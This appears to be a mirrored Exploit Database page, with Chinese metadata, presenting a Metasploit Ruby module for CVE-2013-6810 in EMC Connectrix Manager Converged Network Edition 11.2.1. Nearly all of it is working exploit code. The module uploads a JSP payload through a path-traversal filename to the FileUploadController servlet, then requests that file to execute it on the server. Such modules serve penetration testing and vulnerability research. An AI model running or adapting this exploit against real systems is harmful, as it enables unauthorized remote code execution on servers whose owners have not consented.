EMC CMCNE Inmservlets.war FileUploadController 11.2.1 – Remote Code Execution (Metasploit)

• Exploit Database
• 89 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/42701/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EMC CMCNE Inmservlets.war FileUploadController Remote Code Execution',
  			'Description'=> %q{
  				This module exploits a file upload vulnerability found in EMC 
  				Connectrix Manager Converged Network Edition <= 11.2.1. The file
  				upload vulnerability is triggered when sending a specially crafted
  				filename to the FileUploadController servlet found within the 
  				Inmservlets.war archive. This allows the attacker to upload a
  				specially crafted file which leads to remote code execution in the
  				context of the server user.
  			},
  			'Author'		 => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'ZDI', '13-280' ],
  					[ 'CVE', '2013-6810' ]
  				],
  			'Privileged'	=> true,
  			'Platform' 	=> 'win',
  			'Arch'	=> ARCH_JAVA,
  			'Targets'	=>
  				[
  					[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 18 2013'))
  
  		register_options([
  			Opt::RPORT(80)
  		], self.class)
  	end
  
  	def exploit
  
  		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
  		deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
  		jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
  		@jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
  
  		data = Rex::MIME::Message.new
  		data.add_part("#{jsp}", nil, nil, "form-data; name=\"ftproot\"; filename=\"#{deploy}#{@jsp_name}\"")
  
  		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")
  
  		print_status("#{peer} - Uploading the JSP Payload...")
  		res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri("inmservlets", "FileUploadController"),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> post_data,
  			'headers'	=> {
  				'ROOTDIR'	=> "ftproot"
  			}
  })
  
  		if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
  			print_good("File uploaded successfully!")
  			print_status("Executing '#{@jsp_name}' now...")
  			res = send_request_cgi({
  				'method'	=> 'GET',
  				'uri'		=> normalize_uri("dcm-client", "#{@jsp_name}")
  			})
  		else
  			print_error("Does not look like the files were uploaded to #{peer}...")
  		end
  
  	end
  
  end
  
  

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